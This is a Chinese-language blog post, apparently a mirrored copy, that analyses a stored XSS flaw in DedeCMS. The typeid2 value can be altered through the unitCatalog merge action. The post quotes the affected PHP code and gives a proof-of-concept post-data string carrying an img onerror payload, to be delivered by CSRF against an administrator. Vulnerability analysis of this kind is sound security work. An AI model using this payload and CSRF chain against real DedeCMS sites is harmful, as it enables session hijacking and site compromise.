zoukankan      html  css  js  c++  java
  • Dedecms最新版本存储型XSS

    由于编辑文章的模板参数 typeid2可控,导致存储XSS发生。

    dedecms/dede/templets/article_edit.htm页面316-325行代码如下:

      <tr>
          <td height="24" colspan="2" class="bline"><table width="800" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="90">&nbsp;文章副栏目:</td>
                <td><span id='typeid2ct'></span>
                  <input type='text' name='typeid2' id='typeid2' value='<?php echo ($arcRow['typeid2']=='0' ? '' : $arcRow['typeid2']); ?>' style='200px;' />
                  <img src='images/menusearch2.gif' style='cursor:pointer;' onClick="ShowCatMap(event, this, <?php echo $channelid; ?>, 'typeid2', '<?php echo $arcRow['typeid2']; ?>')" alt='选择副栏目' title='选择副栏目' /></td>
              </tr>
            </table></td>
        </tr>

    从上面可以看出,变量$channelid 与 $arcRow['typeid2'] 只要可控,就可以造成XSS,接下来我们去找找能控制$channelid和$arcRow['typeid2']的页面。

    dedecms/dede/catalog_do.php页面249-310行代码如下:

    else if($dopost == 'unitCatalog')
    {
        CheckPurview('t_Move');
        require_once(DEDEINC.'/oxwindow.class.php');
        require_once(DEDEINC.'/typelink.class.php');
        require_once(DEDEINC.'/channelunit.func.php');
        if(empty($nextjob))
        {
            $typeid = isset($typeid) ? intval($typeid) : 0;
            $row = $dsql->GetOne("SELECT COUNT(*) AS dd FROM `#@__arctype` WHERE reid='$typeid' ");
            $tl = new TypeLink($typeid);
            $typename = $tl->TypeInfos['typename'];
            $reid = $tl->TypeInfos['reid'];
            $channelid = $tl->TypeInfos['channeltype'];
            if(!empty($row['dd']))
            {
                ShowMsg("栏目: $typename($typeid) 有子栏目,不能进行合并操作!", '-1');
                exit();
            }
            $typeOptions = $tl->GetOptionArray(0, 0, $channelid);
            $wintitle = '合并栏目';
            $wecome_info = "<a href='catalog_main.php'>栏目管理</a> >> 合并栏目";
            $win = new OxWindow();
            $win->Init('catalog_do.php', 'js/blank.js', 'POST');
            $win->AddHidden('dopost', 'unitCatalog');
            $win->AddHidden('typeid', $typeid);
            $win->AddHidden('channelid', $channelid);
            $win->AddHidden('nextjob', 'unitok');
            $win->AddTitle("合并目录时不会删除原来的栏目目录,合并后需手动更新目标栏目的文档HTML和列表HTML。");
            $win->AddItem('你选择的栏目是:', "<font color='red'>$typename($typeid)</font>");
            $win->AddItem('你希望合并到那个栏目?', "<select name='unittype'>
    
    {$typeOptions}
    
    </select>");
            $win->AddItem('注意事项:', '栏目不能有下级子栏目,只允许子级到更高级或同级或不同父级的情况。');
            $winform = $win->GetWindow('ok');
            $win->Display();
            exit();
        }
        else
        {
            if($typeid==$unittype)
            {
                ShowMsg("同一栏目无法合并,请后退重试!", '-1');
                exit();
            }
            if(IsParent($unittype, $typeid))
            {
                ShowMsg('不能从父类合并到子类!', 'catalog_main.php');
                exit();
            }
            $row = $dsql->GetOne("SELECT addtable FROM `#@__channeltype` WHERE id='$channelid' ");
            $addtable = (empty($row['addtable']) ? '#@__addonarticle' : $row['addtable'] );
            $dsql->ExecuteNoneQuery("UPDATE `#@__arctiny` SET typeid='$unittype' WHERE typeid='$typeid' ");
            $dsql->ExecuteNoneQuery("UPDATE `#@__feedback` SET typeid='$unittype' WHERE typeid='$typeid' ");
            $dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid='$unittype' WHERE typeid='$typeid' ");
            $dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid2='$unittype' WHERE typeid2='$typeid' ");
            $dsql->ExecuteNoneQuery("UPDATE `#@__addonspec` SET typeid='$unittype' WHERE typeid='$typeid' ");
            $dsql->ExecuteNoneQuery("UPDATE `$addtable` SET typeid='$unittype' WHERE typeid='$typeid' ");
            $dsql->ExecuteNoneQuery("DELETE FROM `#@__arctype` WHERE id='$typeid' ");
            UpDateCatCache();
            ShowMsg('成功合并指定栏目!', 'catalog_main.php');
            exit();
        }
    }

    由于变量$channelid 在该文件头部已经被过滤为intval($channelid),所以这个变量利用不了。
    弱点代码在这里
    $dsql->ExecuteNoneQuery(“UPDATE `#@__archives` SET typeid2=’$unittype’ WHERE typeid2=’$typeid’ “);
    只要我们构造好POC,即可修改dede_archives表typeid2的值,从而造成存储XSS,因为编辑文章的时候,typeid2的值已经在数据库改了,所以每次编辑文章即可触发这个恶意代码。
    也就是说当提交

    URLpostdata:dopost=unitCatalog&nextjob='非空值'&typeid=0&unittype='><img src="x" onerror="alert(1)">

    下面这个sql语句就会执行成功
    $dsql->ExecuteNoneQuery(“UPDATE `#@__archives` SET typeid2=’$unittype’ WHERE typeid2=’$typeid’ “);
    当然执行这条sql语句前提是这个表里的一定要有1条记录

    利用方法就是CSRF 让管理员请求这个构造好的URL即可

  • 相关阅读:
    JVM的学习5_____垃圾回收:分代收集算法
    JVM的学习4____GC的作用和垃圾的标记
    JVM的学习3_____逃逸分析与栈上分配
    JVM的学习2____对象实例的内存分配原理
    JVM的学习1_____内存模型
    SpringMVC的学习____6.JSON 和Ajax
    两种方法关联控制器和DOM
    img的src,a的href使用{{}}设置属性不能生效
    ng之{{value}}顺序
    ng之ng-app指令
  • 原文地址:https://www.cnblogs.com/milantgh/p/3602117.html
Copyright © 2011-2022 走看看